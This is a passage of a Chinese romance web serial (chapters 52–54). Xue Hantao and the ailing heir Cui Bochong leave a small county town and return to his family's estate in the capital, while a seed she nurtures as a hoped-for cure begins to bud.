所以,为什么要对她如此执着?为什么要喜欢她? 薛含桃苦心冥想,绞尽脑汁也猜不到答案- 腊月二十三,是新年之前的小年。 薛含桃软着身子讨好迎合,把自己带着层层叠叠痕迹的肌肤主动显露在他的面前,终于从崔世子的口中换来了阿凶的自由。 大黑狗被一连锁了差不多十天的时间,早就按捺不住,一得到释放兴奋地在院中跑来跑去,摇着尾巴绕圈。 “过来,坐下。”身形挺拔的男子朝着大黑狗看去一眼,开口命令。 激动、乱跑的阿凶先是惊惶地停下了动作,而后伏低了身体一点一点朝他靠近,当察觉到他的手中没有再拿锁链时,它迟疑地蹲在了他的面前。 “听得懂人话,尚能留着。”崔伯翀居高临下地望着这一只杂毛老狗,伸出了手掌。 薛含桃老实地站在一边看着,见此赶紧朝阿凶做了一个舔舐的动作。 粉嫩的舌尖一闪而过,大黑狗明白了主人的意思,严肃地在崔世子的掌心舔了两口。 这便是犬类的认主,代表日后它不再只有一个主人。 当然,它和相伴十年的第一个主人的感情要比后一个主人深厚百倍,千倍。 崔伯翀平静接受了大黑狗的舔舐,接着拿出了一个纯金打造的圆圈,扣在它的前腿上。 上面刻了几个字,是阿凶的名字和年岁。 大黑狗好奇地抬起前腿打量这个奇怪的东西,发现并不妨碍它的敏捷,它一头扎近主人的腿边,蹭了几下。 “阿凶,这是纯金的,可值钱了,能给你买数不完的兔子和肉吃。”主人还是和以前一样絮叨,大黑狗已经习以为常,朝她叫了一声。 “让阿凶跟我们一起出门吧?黑狗有灵,可以赶走凶祟,保护世…我和夫君。”薛含桃知道大黑狗着急地想要到门外跑几圈,犹犹豫豫喊了一声夫君。 他们准备出门置办过年时的年货,可以带着大黑狗。 “可以是可以,不过,”崔伯翀轻笑着眯起了眼睛,语调肆无忌惮,“舌尖伸出来。” 只愣了一下,仗着没有其他人在,薛含桃照着做了。 不仅如此,她还配合地踮起了脚尖,作出一副献祭的姿态。 “乖桃子。” 崔伯翀喟叹着夸了她一句,但动作一点都不温柔,而是疯狂地,粗暴地,索取。 只有这样,她才会记得自己- 两人一狗来到青石县唯一的一处坊市,感受着平和喜气的氛围,买了很多东西。 以往薛含桃还会纠结一番价格,总是害怕自己的荷包变空。但这一次,她只要看中便会买下,一点犹豫都无,不仅两个人的手上提的满满当当,就连阿凶的脖子上都挂了一个装着东西的小竹筐。 不仅买得多量也很大,光是屠苏酒就买了五斤,最后隐身在暗处的罗承武不得不露面,驾着马车过来。 因是小年,罗承武又依照崔世子的吩咐从酒楼买回了一副色香味俱全的席面。 当然……没有他的份儿,罗承武放好菜肴自觉地迈步离开。 薛含桃看着他的背影欲言又止,她和世子两个人,再加上阿凶,也吃不完啊。 “世子,要不然让……” “闭嘴。” 崔伯翀直接开口拒绝,眼神里面是毫不掩饰的晦暗,罗承武在这里他还怎么品尝自己的桃子。 时间越是过一日,就越是少一日。临到生命的尽头,他要把体内所有的狂热倾注到她的果肉中,占有她,抓紧她,让她为自己失去神智。 崔伯翀的骨血里面开始生出一个被自己放弃过的念头,自私的,卑劣的,让她怀上他的孩子。 有了血脉的牵连,他和她就可以融为一体,永远不会被遗忘。 但他的心底仍旧残存着一分仁慈,或者说一分奢望,他想要桃子的勇敢,桃子的无所保留。 所以,他在等待,静静地等待。 崔伯翀神色自若地倒了些屠苏酒在自己和女子的杯中,哪怕他现在的身体根本沾不得一丁点儿的酒水。 “人人都说屠苏酒驱邪避凶,你信吗?”他端起酒杯,好整以暇地注视着里面的酒水。 “信。”薛含桃点头,默默抬眼看了看他的手腕,肯定道,“一定有用的。” 重阳的茱萸手串,小年的屠苏酒,都可以保佑他,一定会保佑他。 比崔世子更快,她大口地喝掉杯中的屠苏酒,一杯不够,薛含桃变得大胆 起来,接连地往自己的嘴里灌驱邪避凶的圣物。 求求了,让种子开花吧。 很快,她脑袋晕乎乎地趴在桌子上睡着了,嘴里一直嘟囔着一句话,像是绝望地哀求。 可是,没人能听懂。 崔伯翀也不例外,他只是温柔地拂去她眼角的泪水,然后垂眸喝下了手中的屠苏酒。 熟悉的疼痛如约而至,他面色不变,弯腰抱起他的桃子回到了榻上。 她紧紧地依偎在他的怀里,没一会儿,崔伯翀颇为不耐地啧了一声,随手拭去唇角溢出的血液。 可能是浓郁的血腥气作祟,薛含桃在这时忽然睁开了眼睛,慢慢地,她的眼神从迷糊懵懂变作惊惧慌乱。 “不!” 薛含桃的眼泪稀里哗啦地往下流,她手忙脚乱地擦拭那些血迹,此时发出的声音无比凄厉。 可崔伯翀竟意外地觉得十分悦耳。 “不要怕,死不了。”他愉悦大声地笑着,一点一点把她沾上的鲜血擦拭干净。 桃子染了红色,虽然艳丽但终归不祥。但有他的安抚,她还是魂魄尽散,可怜地哀求他活下去时,模样令人心碎。 “求求你,不要死…不要这些血…” “不能在这里,回都城,我们回去,那才是世子的世界。” “无论生或死…都会陪在世子的身边…永远…永远。” 薛含桃哽咽着,彻底迷醉,也彻底清醒,“不要离开我。” 她会比以前更努力,更勇敢。 献出她的一切来留住神明。 第52章 第五十二章一点点的花芽。 “如果这是你的请求,”崔伯翀笑着用染血的薄唇在她的脸颊上留下一个印记,低低道,“我会满足你。” 他知道能让一只胆怯的桃子说出这些话有多么不容易。 而这正是他想要的。 死亡不是一个人的结束,被遗忘,被切断与她所有的联系,才是永远的消失。他答应会永远留在她的身边,无论生与死。 “你要成为真正的世子夫人,崔伯翀的夫人。” 他的眼睛里面映着她的身影,完整而清晰,像是要把她刻在自己的灵魂里面- 次日,小院的院门大开,马车一辆接着一辆地驶进青石县的街道,然后停下。 那个之前与薛含桃搭过话的妇人,热情又好奇地凑了过去,先是惊叹了一番马车的不凡,接着问他们搬东西是何意。 “我们要…归家了。”薛含桃忙碌地跑来跑去,像是只花丛中不辞辛劳的小蜜蜂,回答妇人的语气也是甜甜的。 他们,指的是她和她的夫君。 她回望正悠闲坐着拿肉干喂狗的崔世子,对着妇人又认真重复了一遍,“回我和夫君成婚的家,要过新年。” 过年要开开心心的,才不会把福气赶走,所以薛含桃哭过以后,又在笑。 妇人附和着点头,说夫妻之间没有隔夜仇,她是听到之前和离的那些话了。 “阿嫂,劳你的关心,这些屠苏酒送给你。”薛含桃听着有些窘迫,赶紧抱来了一坛酒。 哪怕相信它能够驱邪避凶,经过那个差点让她魂飞魄散的瞬间,她也再不敢将这些屠苏酒留下来。 丢掉就太浪费,索性送给前来搭讪的妇人好了。薛含桃记得刚住进来的时候,她送给过自己几颗新鲜的菘菜,弯着眼睛将屠苏酒递给她。 “是,你们夫妻现在和好了,自然要一起回去和父母家人团圆。”妇人没有推辞,接过屠苏酒笑得合不拢嘴,她知道薛含桃的屠苏酒是买的城中最昂贵那一种,这么一小坛就要八百文呢。 “团圆,”闻言,薛含桃又偷偷地看了一眼身后的男子,得到他一个漠不关心的眼神后,她急忙纠正,“其实我和夫君都是失怙失恃之人,我们都只有彼此…还有阿凶。” “竟是如此,怪不得薛娘子和崔郎君不着急归家,”妇人的目光充满了同情,这个年头,凡是失怙失恃都是极可怜的人,“不过,娘子和崔郎君的感情好,过些时日生下几个孩子,家中便会变得热热闹闹。” 她好心地劝慰薛含桃,又道他们夫妻二人相貌皆十分出色,他们的孩子定然也玉雪可爱。 薛含桃被她说的害羞起来,擦了擦额头的汗珠,不说话只是腼腆地笑。 她和世子的孩子啊,自从离了京城好久没再听到了,京城里面似乎堂姐最关心这个问题。 “孩子,若是生下来,”崔伯翀不知何时站起身走了过来,淡淡道,“不知像父亲多一些还是像母亲多一些?” 听到他的话,薛含桃愣了一下,半张着嘴巴。她觉得好奇妙啊,世子竟然想过孩子的存在吗? “都有都有,”妇人兴致勃勃地同他解释,男孩多像母亲,女孩多像父亲,“但也有和父母都不像的孩子,比如城南的尚郎君,他就像极了他嫡亲的舅父,简直是一个模子里刻出来的。” 话罢,她的目光看向了一直往马车里面搬东西的罗承武,虽然只是薛娘子的表兄,但那也算是薛娘子未来孩子的舅父,她便故意打趣道,“我瞧罗郎君就很不错,体魄健壮,能应一声舅父。” 四周忽然寂静下来,罗承武感受着背后一道刺骨的目光,扯了扯嘴角,语气硬邦邦地开口,“小桃并无亲兄弟,我与她的…关系不值一提。” “罗郎君莫怪莫怪,我只是随口说说。”妇人眼看自己说错了话,讪讪一笑,抱着坛屠苏酒同薛含桃告辞。 “慢走…也许我们还有一天会回来。”薛含桃注视着她的背影,喃喃自语。 虽然住在青石县只有短暂的一个多月,但这是她离开家乡后唯一想要扎根的地方。 平静祥和的小县城,可以给予桃子一个容身之地,供桃子生长。 只是桃子要为了他,她的神明,而再度回到那个危险的,与她格格不入的世界,努力勇敢地扎根。 “舍不得离开?”崔伯翀留意到她的情绪,眼神微动,直白地露出了不悦。 比起从前,他的喜怒哀乐变得异常鲜明,尤其在一颗老实的桃子面前。 “不是舍不得,只是觉得匆匆地来匆匆地去,”薛含桃安静地摇头,摸着胸口将所有藏在那里的话都告诉他,“好似什么也没留下。” 她扁着嘴巴问崔世子,不伤心也不难过,但心中有些空空的。 “这是什么啊?”她睁着黑白分明的眼睛,对他全盘托出。 崔伯翀的心头划过一分满意,轻声回答她,这叫做怅然。 “今日不宜出行,你想留下在这里的痕迹那就尽快去做。”他修长的手掌覆在薛含桃的手背上,缓缓握紧,笑容意味深长,“比如你的稽夫子。” “我,我真的和稽夫子没什么,他是个好人,看我虔诚,在那么多人中将方相氏的面具赠给了我。”薛含桃垂头丧气地解释,很多遍了,她明明是因为自己的虔诚才打动了扮演方相氏的稽夫子,可世子总是认为稽夫子觊觎她。 他还对稽夫子说了那么过分的话,“平民百姓,没有厉害的权势和出身,根本敌不过那些高官和贵人。” “出身不好,那就拼命地往上爬,龟缩逃避只会任人宰割,永远解决不了问题。”崔伯翀听到她嘟囔的话,捏住她的脸颊,轻飘飘地反问道,“现在的你,是平民百姓吗?” 崔世子明媒正娶的夫人,贵妃的妹妹,皇子的姨母,哪一条拎出来,在这个小小的青石县,都是一座跨越不去的高山。 薛含桃似懂非懂,一副傻乎乎的模样,不明白世子上一刻还在谈论稽夫子,此时又说到她的身上。 “既然你感念他赠你面具的恩情,写一封名帖给他,以后他自会用得到。”崔伯翀漫不经心地开口,叮嘱她在名帖上写上自己国夫人的身份。 “可我不是世子夫人吗?”薛含桃有些不好意思,小声提醒崔伯翀,“那个讨厌的曹夫人才是定国公夫人。” “按我说的做。”崔世子不为 所动,淡淡地瞥了她一眼。 “好,好。”薛含桃最听话了,厚着脸皮为自己加上了国夫人的名头,写好后举着名帖给他看。 “再加一句,尔乃未来天子的亲姨母。”他揉捏着她的手指,却是不让她乱动,自己提起了毛笔,最后盖上一方小小的印章。 薛含桃睁大了眼睛看着那一个红色的薛字,几度抿唇,这,这是她的薛字吗? 可是半年前,她还只是任人欺凌差一点被活活饿死的农女。 薛含桃的眼眶微微发酸,接着,由里骤然迸发一股明亮的光芒,她将写好的名帖拿在手里,一只胳膊却是抱住了崔世子的腰。 好喜欢,好高兴,原来她的命运轨迹真的发生了翻天覆地的变化。 而这一切都是他带来的。 “世子,谢谢你,真的,你是对我最好的人。” 哪怕前不久才被灰溜溜地赶走,哪怕因为他斩断生路而怨恨,哪怕她被狠狠磋磨地全身颤抖,可是,当她恢复了生机,仍旧能带给人最纯粹的回馈。 “这么开心。”崔伯翀笑了一声,垂眸看向她的手臂,很快从一个仁慈的神明变成冷酷贪婪的魔。 他轻轻抽走她手中的名帖,扔到身后,“但你要如何回报呢?小桃子。” 薛含桃还沉浸在感动之中的时候,崔伯翀随便瞥了一眼,将人抱到椅子上,然后关上了房门。 愈是撕碎温和的伪装,他行事愈是无所拘束,不多时,屋内的温度就急剧攀升,将桃子烤成了桃干。 又似乎因为今日那个妇人提到了两人的孩子,桃子被进入到最深的地方,颤颤巍巍地吐出了许多汁水。 不过她没有哭泣着流泪,而是乖顺地垂下了脑袋,一下一下地亲遍那道狰狞的伤疤。 她眼尾和脸颊都是一片潮红,含含糊糊地道,“好像听到心跳声了。” “是你的心在跳动。”微暗但清晰的光线中,崔伯翀的眼睛变了颜色,摁着桃子,又沉又重地强调。 “嗯,嗯……”本就不是很聪明的桃子这时变得更迟钝了,她难耐地点头,重复他的话,“这里在跳,很快。” 很快,他们就能回去属于世子的世界。 “其实,阿姐让宫里的大夫为我…诊过脉,说我身体受损,所以…” “我知道。”- 次日一早,那张带着“薛”字的名帖被送到了稽韶的家中。 罗承武吩咐一名护卫驾着原来的马车,他自己驾着另外一辆。 随着小院的院门被关闭,薛含桃离开了青石县。 不同的是,来时车厢里只有一人一狗一陶罐一幅画,离去时不仅多了许多东西,还多了最重要的崔世子。 陶罐被小心谨慎地放在背篓里面,薛含桃和大黑狗一起看管,紧张兮兮的劲儿仿佛那是她的命。 这时,崔伯翀终于意识到这只陶罐的不同寻常,他侧身平静地打量了一眼,淡淡道,似乎八月进京时,她的背篓里就放了一个陶罐。 不过没有植株长出来。 “对,这是我的宝贝,在家那边捡来的…很重要很重要。”薛含桃结结巴巴,压根不敢和他对视,更想用身体挡住陶罐不让他发现。 世子不仅扔过一次种子,还拒绝仪静县主的丹药狠心断自己的生路,她实在是怕了。 “紧张什么?”崔伯翀眯起眼睛,猝不及防地看到淡淡的一点紫色。 那是……即将长出的花芽。 第53章 第五十三章不怕。 它很小,像极了一颗米粒,藏在一片宽阔的叶子下面,若非他侧身去看,恐怕还发现不了。 藏的很深。 崔伯翀伸手,欲要拨开那片紫色的叶子看个清楚,时刻留意他举动的桃子急地抱住了他的手臂。 “不能乱碰,万一,它不长了怎么办?”薛含桃没有看到那片紫色叶子下的“小米粒”,因为她从不敢用手触摸,更遑论掀开叶子看个究竟。 她只是日复一日地守着它,悉心照顾,数它长出了多少片叶子,期待着它能够开花。 “它很珍贵,等到…那一天,我会把它奉给神明。”她将自己的脸颊贴在他的手腕,虔诚而真挚地望着他,“所以,你要等着我啊。” 崔伯翀一言不发,看着她充满了依恋和一分胆怯的目光,喉咙深处涌出一股奇异的,充足的感觉 这颗青涩的野桃确实变得能耐了,放在半年前,他根本不相信自己空洞的内心会被一个她填满,简单的两句话而已。 “既然是宝贝,那我等着你。若是那一天让我失望,小桃子……”他的眼睛浓似一团化不开的墨水,眉峰低低地压下。 “就怎么?”薛含桃一无所知地仰着头问他,模样无辜又天真。 她心道如果可以等到那一天,他一定不会失望的,所以她一点都不害怕他的威胁。 崔伯翀没有回答她的问题,却是反手一拉将人拽到了自己的大腿上,轻捏了捏她的下颌,迫她露出舌尖。 马车的车厢里面若是只有他们两个人还好,可是,还有一只大黑狗在呢。 薛含桃挣扎着蹬了蹬腿,但无济于事,只好羞耻地,仓促地钻进了他的外袍里面。 她又用手试图把自己的脸给捂住,结果就是她的手被无情地掰开,垂下尾巴的大黑狗被赶到了另一辆马车上,只有进食的时候才得以归来。 主人会煮热乎乎的汤饼,泡着大块大块的熟肉给它吃。 大黑狗摇着尾巴吃地很欢快,之后它用鼻子仔细地嗅了嗅薛含桃身上的气味,发现她并未生病,安心地出去绕了一圈,并找了个位置趴好守着。 夜里,他们没有找驿站留宿,而是停在了一处避风的小山坳里面。 火堆噼里啪啦地燃烧着,薛含桃的精神反而很足,她探头从窗户里面往外看去,夜空高悬,几颗小星星发着亮光。 被星星围在中间的是更加明亮的弯月。 “在看什么?”比起精神奕奕的桃子,崔伯翀的姿态颇为慵懒,他斜斜倚在马车里面,一只手拿着钳子拨弄炭盆上的烤栗子。 “天上的月亮!”薛含桃目光出神,有些怀念地说之前在丰县他们准备离开的那几日,“我每天都会和月亮说,让它不要消失,为我照明前路。” “这样,”她笑起来,“我去京城就不会迷路了。” 听到她的回答,崔伯翀从自己的脑海中挖出了一些画面。 灰头土脸的桃子想要一起去京城,所以每天都在暗暗地做着准备,编织可以放下大黑狗的背篓,偷偷央人换些粗面烘饼子,跑很远的地方找来草药晒干……她以为自己做的很隐蔽,但方振知道,他更知道。 方振很喜欢老实巴交的小姑娘,在他的面前说她手脚勤快,从不偷奸耍滑,“要不然就让小桃留在世子的身边做个贴身侍女,不知为何,每次看到小桃,我总感觉心踏实很多。” 崔伯翀凉凉地看了方振一眼,讽刺他烂好心,可却没有说出反驳的话。 因为,他从桃子的身上闻到了一股淡淡的青草气息,在最酷热的天气里,她是清凉的,鲜活的,真实的,像什么呢? 他漫不经心地思考了一会儿,最终得出结论,她就是一株野草,只是长在山间,迎着风始终不会死去。 对于一具濒临腐烂的躯体,有着莫大的吸引力。 崔伯翀几乎没有正眼看清过这株拼命生长的野草,但他总会在她出现的那刻,贪婪地攫夺她周围的生机。 多一点,再多一点就更好了!所以他没有阻止方振。 然后当方振询问她要不要留下来做他的侍女的时候,她抿着唇瓣,摇头拒绝了。 明明是她害怕被丢下,也偏偏是她拒绝地毫不犹豫。 崔伯翀仔细想一想,那时她是怎么解释的呢?她红着脸有些无措地说,“世子是我的恩人,我想要报答他也会报答他,但是,方大哥,我活下来了,我有自己的路要走。” 自己的路,瘦巴巴的刚有了几口气的小姑娘语气坚定,听在崔伯翀的耳中却何其尖酸。 他登时冷下脸,再没留给她一个眼神,并勒令方振将她赶走。 “你确实没有迷路。”崔伯翀想到他们出发的第一天,天气炎热,她背着一只老狗,瘦小的身躯远远地坠在马车后面,从未掉队。 “走累的时候,有没有想过放弃?”他笑着看向她,忽然有些后悔,那时自己就该秉承身体的本能,在她的身上打上他的烙印。 “有过,”薛含桃诚实地告诉他自己的腿很酸很疼,天气炎热,她出了很多汗嘴巴渴的起皮,“可是停下来更害怕,我就只好沿着车辙一直走,好在到了下午就追上世子了。” 她现在想起来仍然感激和庆幸,追上去的自己得到了照顾,没有被丢下,反而被允许坐在马车上一个小小的角落。 那时,薛含桃身上还是粗布衣服,害怕弄脏了崔世子的马车,一旦车队停下来,她就背着阿凶赶紧出来,帮方大哥做事,然后煮好一陶罐的解暑茶,试过温度后殷勤地放在世子的手边。 夜晚她更没胆子留在马车里面,于是抱着阿凶小心地靠着车辕入睡,那些天的月光就和现在一般,柔柔的。 不过那时的世子虽然温和,但也更有距离,不像现在有一搭没一搭拨弄栗子的模样是看得着也能摸得到的, 尽管未来仍旧模糊不清,令她心悸。 “现在的我,也是在进京的途中,但不再害怕了。”薛含桃将窗户合上大半,挨着崔世子坐下,眼睛清澈表情乖巧,但那股青涩已经褪去,正如她的身子一般,从里及外地透着柔媚。 桃子正在被他一点点的催熟,散发着独有的风情,勾着他不松手。 崔伯翀垂下眼眸,重重地扔了手中的钳子,修长冷白的指节循着桃子最柔软的地方而去。 “让你学,没让你学地这么快。” “可我只和世子学了作画……” 薛含桃模样茫然,脚趾头蜷缩在一起,只敢发出小小的蚊子哼哼,太频繁了,她会被弄坏的。 “可不可以歇歇?”她真诚地请求,自己更想吃烤栗子,“车上没有带蜂蜜,但是有饴糖,饴糖化成水刷上去也肯定好吃。” 崔伯翀早就露出了凶残的本性,懒得伪装,又哪里会答应她,紧摁住她的手,恣意地展露他的贪婪。 不过,最后薛含桃还是吃到了刷了饴糖水的烤栗子,虽然有些焦糊,但她吃的很满足,手上和脸上都变得黑乎乎的。 接着,她还将烤栗子分给了罗承武他们一些。 欲盖弥彰! 见此,崔伯翀嗤了一声,怎么不明白桃子的小心思,她这是故意遮盖痕迹,让别人以为桃子还是那个老实桃子呢。 然而也只是这两天,等回到京城,回到定国公府,回到他的东院,她便不必担心别人的目光。 只要他想,她可以只见到他一个人,也可以……干干净净的一丝不沾。 崔伯翀的目光轻而慢地在她的身上扫过,喉咙微动,不是不可以,过年除了见客便是见客,他们尚有几天时间空余。 他周身的气息微妙地起了变化,看着薛含桃的眼神也格外的放纵柔和。 “慢慢来,不着急。” “可是,我想尽快回去…”薛含桃把手脸擦拭干净后,打了个哈欠,慢慢地合上眼睛,困意朦胧。 “我要跟着世子回他的世界。” 沉入了梦乡之后,她的脸上终于浮现出几分伤心与焦躁。 “想要世子活着啊。” 看到她可怜蹙起的眉尖,崔伯翀恢复了面无表情,良久,他啧了一声,掏出了一颗腥苦的药丸吞下。 看来还是得让方振回府,那些乱七八糟的药汤只有他分的清楚- 回去的速度要更快一些,第二天的黄昏,薛含桃就望见了城门。 巍峨高大的模样和她离开回望时没有任何变化,甚至,那个守城的官兵她也还记得。 “不知道他还认不认得我?”她抱着崔世子的手臂嘀嘀咕咕,一旁趴着睡觉的大黑狗耳朵动了动,翻了个身继续睡。 “你若想知道,可以试一试。”崔伯翀顺着她的目光看向那个普通的官兵,在接近他的时候令马车停下转道。 “不了不了,我只是随口说一说。”薛含桃观察过进出城的情况,凡是平民百姓都逃不过一遍检查,但如世子这般的身份,通常只是由护卫说一声就可以通行,官兵并不会亲自检查。 可看世子的举动明明是排在了平民百姓那一列。 “按照大周律例,不管是平民百姓还是达官贵人,无论官职高低有无爵位,进城出城的步骤没有区别,必须要接受检查。”崔伯翀漫不经心地同她解释城律,眉宇间闪过几分冷冽,“只是随着时间推移,律例早就被扔进了坟堆,和有些人的骨气一起被埋葬。” 他的最后一句话,薛含桃听的半懂不懂,好奇地问,“那如果把律例从坟堆里面挖出来,骨气还可以回来吗?” 坟堆里面肯定有人的骨头,头骨脊骨都有,可是骨气虚无缥缈,怎么才能找回来。 崔伯翀摸了摸她的脸颊,意味不明地笑了起来,“想知道的话,你同样可以试一试。” “啊?我不行的,”薛含桃疯狂摇头,她只会识字作画,不懂律法,而且是一个女子,“一开始若非我抄字比别人清晰,价钱也更低一些,还有…宋熹的保证,县城的掌柜根本不会要一个女子抄的书。” “因为现在的你和从前不同。”听完她带着慌乱的解释,崔伯翀拿出那个印章放在她的手心,低沉的语气像是在她的耳边蛊惑。 “现在的你可以拥有权力,你,包括你的堂姐,将来能做到的更多。” 薛含桃的心脏剧烈地跳动,忽然觉得面前的他又从神明变成了妖魔,呆呆地回不过神。 也就是这时,进城的检查轮到了他们。 虽然不是之前那辆镶嵌着汉白玉的马车,但他们眼下所乘依旧能看出不凡,内敛庄重。 官兵的举动便有些迟疑,检查起来也十分小心,先是问过罗承武他们是否排错了位置,得到他摇头的回应后才说只将马车打开一条缝便行。 罗承武不是磨蹭的性子,直接打开了马车的车门。 薛含桃下意识地看向守城的官兵,发现他的眼神和表情都很陌生,不止是不识得她的那种陌生,还有她眼中的陌生。 同样的两个人,一般陌生。 这一刻的薛含桃好似明悟了一些东西,不一样了,好一会儿进了城她捧着自己的脸颊,又呆呆地看回崔世子。 “世子,我,我变了吗?”她后知后觉,望着自己的身上,烟霞色织锦长裙是世子要她换上的,脖间佩戴的粉玺珠链,手腕挂着的桂花镯子……虽然依旧能称作简朴,和堂姐仪静县主她们的穿着打扮没法比,但比她之前奢侈太多了。 “一颗桃子想如何改变。”崔伯翀冷淡地掀了掀眼皮,给出了否定的答案。 方才守城官兵眼中的惊艳即便很快被压了下去,但他咬着牙根,心头仍然涌出一股难言的暴虐。 是他的桃子,从一颗被人嫌弃的干巴桃子养成了现在这般白里透粉的香甜模样,任何人都别想将她抢去。 便是垂涎地多看一眼,他也无法忍受。 崔伯翀沉下了脸,神色阴冷,马车离了城门很远也没有缓和。 薛含桃看出他的不对劲,以为他的身体又不舒服了,心中急的团团转。 她想到世子书房里面的那些汤碗,又回忆起从前他抱着自己小憩的场景,焦躁之下,伸开两只胳膊。 身形单薄的她直起身,费劲抱住了他的肩膀,小声地重复,“不疼,我会永远陪着世子的。” 比不过能续命的丹药,仅能给他一些稀少的温暖,但这已经是她想到的唯一办法。 别扭怪异的姿态一直持续到定国公府的门口。 崔伯翀抬眸,看到她眼中的虔诚,心头的暴虐慢慢消失。 “害怕吗?”他问。 当然怕,怕希望落空,怕她又一次被灰溜溜地赶出去。 薛含桃松开手臂,找到陶罐抱在怀里,想要告诉他自己不怕。 话未出口,她也发现了淡紫色的花芽。 黄豆大小。 第54章 第五十四章“鬼,杀了那个鬼!”…… 薛含桃愣住了,她不知如何反应,看一眼怀中的陶罐,又看一眼。 “这是什么?”她傻了一般,低声喃喃地问。 “花芽,它快要开花了,多则一月,少则八九天。”男子的嗓音低低传来,带着几分微妙的不虞,“松开我,抱着你的宝贝就不怕了?” 这是花芽,种子快要开花了……巨大的惊喜冲击着薛含桃的一切,她的呼吸不由停止。 在她强撑着底气遮挡心虚时,在她又一次踏入不属于自己的世界时,她终于看到了真真实实的希望。 它并未落空,像是夜晚的月光一样为她照明前路。 被她捡回来用心照顾的种子长出花芽要开花了,开出的花可以治好世子的旧伤。 这一刻,薛含桃仿若一个只会哭和笑的孩童,她紧紧地,用力地抱住陶罐,黑莹莹的笑眼中含着泪光,大声道。 “只要有它,我就不怕!” 像是沙漠中快要渴死的旅人找到了清甜的泉水,像是被困在网中的蝴蝶奋力一振飞向了美丽的花丛,像是迷雾中丢失方向的孤舟突遇一道绚烂的朝霞。 她确实不再害怕。 五天后,这份希望将是她奉给神明最好的新年礼物。 “啧,再吼一声,我就把它给扔了。”崔伯翀看她又哭又笑抱着陶罐不撒手的样子,捉住她湿漉漉的小脸擦了擦,出口威胁。 “不!”薛含桃吸了吸鼻子,立刻警惕地弓起腰,将陶罐护地更紧。 世子是神明,是妖魔,反正不是人,因为他根本不在乎自己的生死。 “它不是桃子准备送给我的供奉吗?”她越是紧张,崔伯翀的表情越是冷淡。 “还…不到时候,再等一等,好不好?”桃子一边护着陶罐,一边战战兢兢地讨好,“我们快进去吧。” “我想念我和世子的家了。” 不止是家,还有这里的人,果儿姐姐,方大哥,玉蘅,文玑等等! 一个“家”字,软化了崔伯翀冷硬的心肠,他打开马车的车门,抱着她一起下去。 大黑狗紧随其后,毛发中的一抹金色熠熠生辉- “不用抱着,我自己走。” 薛含桃踏入定国公府的大门,看到熟悉又陌生的景色,欢喜稍有平复,紧绷的身体也悄悄放松下来。 走着走着,她突然意识到一个很严重的问题,一口气虚下去。 “世,世子,”她结结巴巴地瞧身旁男人的脸色,“那封和离书是不是很多人都知道?” 听到和离二字,崔伯翀的眉心狠跳了一下,他垂眸看她没有回答,但凉凉的眼神已经表达了一切。 看你这颗桃子做的好事! 明白了他的意思,薛含桃顿时跌入了深渊,眼神发直,抱着陶罐走进东院的时候还险些撞到了门。 幸而崔伯翀及时伸出手臂,捞住了她的腰。 薛含桃默默地站稳身体,还想问他宫中的陛下和堂姐又是如何反应,她在青石县的时候没有听到半句风声。 “娘子!”这时,一声饱含激动的呼喊由远及近地传来。 果儿得到他们回来的消息,眼泪汪汪地跑了过来,看到薛含桃的那一刻差一点嚎啕大哭。 “娘子你太狠心了,明明我和阿凶都是你的陪嫁,你离开京城却只把阿凶带走!”果儿太委屈了,谁知道她只是出去了一趟,就那么一会儿功夫,娘子和大黑狗就都不见了,她找了许久都没找到。 接着方管事又不准她离开东院,算是另类地将她软禁起来。虽然他明着告诉她,过上十天半个月便会放她自由,但心里不安的果儿如何肯罢休,她大吵大闹骂完方振又骂定国公府,扬言等她出去一定到宫里求薛贵妃和陛下做主。 方振沉着脸将小院的房契给她,又给她看了和离书,她知道了娘子离开的真相,才安静下来。不过同时她的心里半信半疑,她还不知道她家娘子是什么人吗?怎么可能因为崔世子患有重症而和离,再者这是陛下赐婚! 果儿恐慌不止,陛下若降罪她家娘子很难保全自己,最后她想了想决定偷逃出去,只有贵妃娘娘可以救娘子的命。 可惜,她被当场抓个正着,然后一直被关到…方振离开的那天。他和果儿说世子已经去寻她家娘子,让果儿不要轻举妄动,否则风声传出去,事情便会一发不可收拾。 果儿看到方振苍白的脸色,虽然依旧不明白内情,但这一次她聪明地噤了声。 于是,一个多月后的现在,她等到了薛含桃回来。 “果儿姐姐,对不起。”薛含桃垂着脸羞愧难当,抛弃果儿是事实,她无可辩驳。 “我知道娘子不想要连累我,可是留我一个人在这里,还不如让我跟着娘子离开呢。”果儿伤心地哭了起来,眼泪哗哗往下流,要薛含桃答应若是还有下一次必须带上她。 “就算跟着娘子吃不饱穿不暖,我也乐意!”她放出豪言壮语,实际上脸庞比薛含桃离开时更圆了一些。 毕竟被关起来一个多月,只能在一处庭院活动,消遣唯独剩下吃喝,不胖也难。 “嗯,若我还离开京城一定提前告诉果儿姐姐。”薛含桃因为愧疚对她百依百顺,没注意到会带来别的不妥。 她的话音落下,手腕便被握住,不轻不重的力道刚好让她觉得微痛微麻。 “哦,说够了吗?”崔伯翀平静地开口,宫里送来的人不懂规矩,还是送回去的好。 “世子恕罪,”果儿被他淡淡睨视一眼,慌忙止了泪水,缩着脖子跪下。 崔世子已经不再是从前温和疏离的主君,果儿知道方管事并非是出府办事而是被从世子的身边赶了出去。 不止他,包括玉蘅和几个熟脸也都消失不见,现在东院剩下的人沉默地如同锯了嘴的葫芦,果儿深深后怕,闭紧了嘴巴。 “果儿姐姐只是担心我,我以后离开京城肯定是和世子一起啊。”薛含桃很快也意识到了自己的话引起了身边男人的不满,她急忙找补,主动往正房走去。 果儿带着大黑狗识趣地离开。 桃子薄弱的身躯努力地拉着他,小声承认全是她的错误。她不该写下和离书,她不该轻易放弃世子,她其实可以脸皮再厚一些。 等他们回到宽敞的房间里面,侍女们默然退下,薛含桃更加诚恳地和他道了歉,“对不起,日后只要不是世子赶我走,就算有人用刀刃抵着我的脖子,我也会留在世子的身边。” 有了代表着希望的花芽,薛含桃死也不离开。 “若我死了呢?”崔伯翀喉咙微动,静静地看向她,眼中一抹赤色闪过。 “那我就化作一根小草,长在世子你的坟墓上。”桃子的底气很足,也会和人开玩笑了,末了认真加了一句,“守护世子的身体不被秃鹫分食。” 秃鹫,她的形容莫名地贴切,崔伯翀大约思索了两息,发出一声嗤笑。 放心,为了保护他的桃子,他会把那些恶心的玩意儿弄死在他的前头。 “你离开京城是和我一起,寻医问药,记住,从头到尾都没有所谓的和离书。”他趁她呆愣的时候抽走她怀里的陶罐,原封不动 地放回了之前的窗台上。 